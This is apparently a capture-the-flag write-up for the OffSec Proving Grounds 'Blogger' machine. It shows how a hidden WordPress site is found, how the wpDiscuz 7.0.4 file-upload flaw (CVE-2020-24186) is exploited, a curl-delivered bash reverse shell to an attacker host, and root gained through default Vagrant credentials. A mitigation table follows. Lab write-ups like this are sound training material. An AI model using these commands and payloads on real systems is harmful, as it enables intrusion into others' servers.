Blogger is a beginner-friendly Linux machine from OffSec Proving Grounds that rewards thorough enumeration and careful attention to page source details. The attack path begins with discovering a WordPress installation hidden several directories deep, proceeds to exploit a well-known unauthenticated file-upload vulnerability in an outdated comment plugin, and concludes with a trivial privilege escalation enabled by a default credential left unchanged on a development user account.
Difficulty: Easy | Platform: Linux
Table of Contents
1. Summary
2. Enumeration
2.1 Nmap Scan
2.2 Web Enumeration
2.3 Finding the Blog
2.4 Hostname Discovery
3. WordPress Analysis
3.1 WPScan Enumeration
3.2 Discovering the wpDiscuz Plugin
4. Exploitation
4.1 CVE-2020-24186 — wpDiscuz File Upload
4.2 Reverse Shell
4.3 Local Flag
5. Privilege Escalation
5.1 Vagrant Default Credentials
5.2 Root Access
6. Defense & Mitigation
7. Conclusion1. Summary
Target IP : [REDACTED]
Hostname : blogger.pg
OS : Ubuntu Linux (ubuntu-xenial)
Open Ports : 22 (SSH), 80 (HTTP)
Vulnerability: CVE-2020-24186 — wpDiscuz 7.0.4 Unauthenticated File Upload
PrivEsc : Vagrant default credentials + sudo NOPASSWD: ALL
local.txt : [REDACTED]
proof.txt : [REDACTED]2. Enumeration
2.1 Nmap Scan
Enumeration began with a full TCP port scan using Nmap's default scripts and service detection flags to get a broad picture of what was running on the target.
nmap -Pn -sC -sV -p- [TARGET_IP]The scan returned two open ports:
- Port 22 — OpenSSH 7.2p2 (Ubuntu)
- Port 80 — Apache 2.4.18, serving a page titled "Blogger | Home"
With SSH offering little attack surface without credentials, attention shifted to the web server on port 80.
2.2 Web Enumeration
Browsing to the root of the web server revealed a static portfolio-style site built on a W3Layouts template. There were no login forms, no dynamic functionality, and no links pointing anywhere interesting. A quick Gobuster scan confirmed the impression.
gobuster dir -u http://[TARGET_IP]/ -w /usr/share/dirb/wordlists/common.txtThe scan returned only standard asset directories — /assets/, /css/, /images/, and /js/ — none of which pointed toward anything exploitable.

2.3 Finding the Blog
Rather than moving on, subdirectories were enumerated recursively. Digging into /assets/ With FFUF surfaced a fonts/ directory, which itself turned out to contain a blog/ subdirectory — an unconventional but legitimate location for a WordPress installation.
ffuf -u http://[TARGET_IP]/assets/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://[TARGET_IP]/assets/fonts/FUZZ -w /usr/share/wordlists/dirb/common.txtKey lesson: Never stop enumerating at the root. Hidden content is frequently buried several levels deep, well outside the reach of a single-pass directory scan.


2.4 Hostname Discovery
Fetching the blog's page source revealed that every internal WordPress link referenced the hostname blogger.pg rather than the raw IP address. Without this entry in /etc/hosts, Subsequent requests would fail to resolve correctly.
curl -s http://[TARGET_IP]/assets/fonts/blog/ | grep -iE '(http|href|src)' | head -20
echo "[TARGET_IP] blogger.pg" | sudo tee -a /etc/hostsThe page source also confirmed the WordPress version as 4.9.8 — a release that had been end-of-active-development for years and carried a long list of known CVEs.

3. WordPress Analysis
3.1 WPScan Enumeration
With the hostname resolved, WPScan was run against the installation to enumerate users, installed plugins, and active themes.
wpscan --url http://blogger.pg/assets/fonts/blog/ --enumerate u,ap,t --api-token <TOKEN>The scan produced the following findings:
- WordPress version: 4.9.8 — outdated, with multiple documented vulnerabilities
- Users identified:
j@m3s,jm3s - Active theme: Poseidon 2.1.1 — out of date but no immediately exploitable CVEs
- Plugins: None detected through passive methods
The absence of detectable plugins was notable but not conclusive. Passive detection is inherently limited, and a manual review of the page source was warranted.
3.2 Discovering the WP Discuz Plugin
Curling an individual blog post and inspecting the JavaScript embedded at the bottom of the page told a different story. The wpDiscuz comment plugin was present and running on version 7.0.4, which has a publicly documented critical vulnerability.
curl -s http://blogger.pg/assets/fonts/blog/?p=1 | grep -i wpdiscuzThe following values were extracted directly from the page source and would prove essential for the exploit:
- Plugin version:
7.0.4 - Security nonce:
wmuSecurity: "[REDACTED]" - Post ID:
wc_post_id: "1"

A quick searchsploit query confirmed that multiple exploit paths exist for this version:
searchsploit wpdiscuz
WordPress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated) | php/webapps/49962.sh
WordPress Plugin wpDiscuz 7.0.4 - Remote Code Execution (Unauthenticated) | php/webapps/49967.py
WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Arbitrary File Upload (Metasploit) | php/webapps/49401.rbCVE-2020–24186 — an unauthenticated arbitrary file upload leading to remote code execution — was the most direct path forward.
4. Exploitation
4.1 CVE-2020–24186 — wpDiscuz File Upload
wpDiscuz 7.0.4 fails to validate uploaded files in its comment image upload feature properly. The server-side check relies on MIME type inspection, which can be trivially bypassed by prepending GIF magic bytes (GIF689a;) to a PHP webshell. The file is then stored in the WordPress uploads directory and executed directly by the web server.
The Python exploit 49967.py was mirrored locally using searchsploit. During execution, however, the script's automatic nonce extraction failed — a regex mismatch caused it to error out before the upload attempt. Since the wmuSecurity nonce and post ID had already been pulled from the page source manually, the fix was straightforward: hardcode the values directly into the script.
searchsploit -m php/webapps/49967.py
# Patch the script to hardcode the nonce and post ID
sed -i 's/wmuSec = re.findall.*/wmuSec = "[REDACTED]"/' 49967.py
sed -i 's/wc_post_id = .*/wc_post_id = "1"/' 49967.py
python3 49967.py -u http://blogger.pg/assets/fonts/blog/ -p http://blogger.pg/assets/fonts/blog/?p=1The webshell was uploaded successfully. The script's built-in command execution was also broken, so commands were issued manually through curl. A quick id confirmed remote code execution as www-data.
curl -s "http://blogger.pg/assets/fonts/blog/wp-content/uploads/2026/03/<shell_name>.php?cmd=id"
GIF689a;
uid=33(www-data) gid=33(www-data) groups=33(www-data)4.2 Reverse Shell
With arbitrary command execution confirmed, the next step was to upgrade to a full interactive shell. A netcat listener was started on the attacker machine, and a bash reverse shell payload was delivered through the webshell via curl.
# Attacker machine — start listener
nc -lvnp 4444
# Deliver reverse shell payload via curl
curl -s "http://blogger.pg/assets/fonts/blog/wp-content/uploads/2026/03/<shell_name>.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/[ATTACKER_IP]/4444+0>%261'"A shell landed as www-data. From here, local enumeration began.


4.3 Local Flag
Navigating to /home revealed three user directories: james, ubuntu, and vagrant. The james directory was world-readable and contained the local flag.
cd /home/james
cat local.txtlocal.txt: [REDACTED]
5. Privilege Escalation
5.1 Vagrant Default Credentials
During the enumeration of the other home directories, the presence of a vagrant user stood out. Vagrant is a development environment tool, and its default system user is routinely left with the password, a well-known default that is frequently overlooked when machines are provisioned.
Switching to the vagrant user with the default password succeeded immediately.
su vagrant
# Password: [REDACTED]Checking sudo privileges revealed the extent of the misconfiguration.
sudo -l
User vagrant may run the following commands on ubuntu-xenial:
(ALL) NOPASSWD: ALLThe vagrant user could run any command as any user, with no password required — a configuration that effectively handed over root access to anyone who could authenticate as vagrant.

5.2 Root Access
Escalating to root required a single command.
sudo su
cat /root/proof.txtproof.txt: [REDACTED]
6. Defense & Mitigation
┌─────────────────────────────────────┬──────────────────────────────────────────────────────────────────────┐
│ Attack Step │ Mitigation │
├─────────────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ Hidden WordPress found via │ Disable directory listing server-wide (Options -Indexes). Avoid │
│ recursive enumeration │ placing web applications inside unrelated asset directories. │
├─────────────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ wpDiscuz 7.0.4 file upload bypass │ Keep all WordPress plugins updated. Deploy a WAF to intercept │
│ (CVE-2020-24186) │ malicious upload attempts. Validate file types server-side using │
│ │ magic byte inspection and strict allowlists, not MIME type alone. │
├─────────────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ PHP webshell executed from │ Deny PHP execution inside wp-content/uploads/ using an .htaccess │
│ uploads directory │ rule or server-level configuration. │
├─────────────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ Reverse shell established as │ Apply the principle of least privilege to all web server processes. │
│ www-data │ Enforce outbound firewall rules to block unexpected connections │
│ │ originating from the web server. │
├─────────────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ Vagrant default credentials │ Change all default credentials immediately after provisioning. │
│ accepted │ Disable or remove system users that serve no production purpose. │
│ │ Audit /etc/passwd as part of any hardening process. │
├─────────────────────────────────────┼──────────────────────────────────────────────────────────────────────┤
│ NOPASSWD: ALL sudo for vagrant │ Never grant unrestricted sudo access to non-administrative users. │
│ │ Define scoped, command-specific sudo rules. Audit /etc/sudoers │
│ │ regularly and remove any broad NOPASSWD entries. │
└─────────────────────────────────────┴──────────────────────────────────────────────────────────────────────┘7. Conclusion
Attack Chain
─────────────────────────────────────────────────────────────────
Step 1 Recursive directory enumeration → hidden WordPress install
Step 2 Manual page source inspection → wpDiscuz 7.0.4 identified
Step 3 CVE-2020-24186 → unauthenticated file upload
Step 4 curl → reverse shell as www-data
Step 5 Vagrant default credentials → sudo NOPASSWD:ALL → root
─────────────────────────────────────────────────────────────────Blogger is a good reminder that security is only as strong as its weakest, most overlooked component. The WordPress installation was hidden, but not protected. The vulnerable plugin was absent from automated scans, but visible to anyone who read the page source. The privilege escalation required no exploitation at all — just a default password that had never been changed.
Key takeaways from this machine:
- Recursive directory enumeration is not optional — the WordPress install was buried three levels deep inside
/assets/fonts/blog/, well beyond the reach of a single-pass scan - Automated tools have blind spots — WPScan found no plugins via passive detection, but manual inspection of the page source exposed WPDiscuz 7.0.4 immediately
- Default credentials remain one of the most effective attack vectors in practice — the vagrant user had never had their password changed
- Broad sudo access is a privilege escalation waiting to happen —
NOPASSWD: ALLAny non-root account should be treated as a critical finding - Keeping software updated is a foundational control — CVE-2020–24186 was patched years before this machine was compromised
OffSec Proving Grounds — March 2026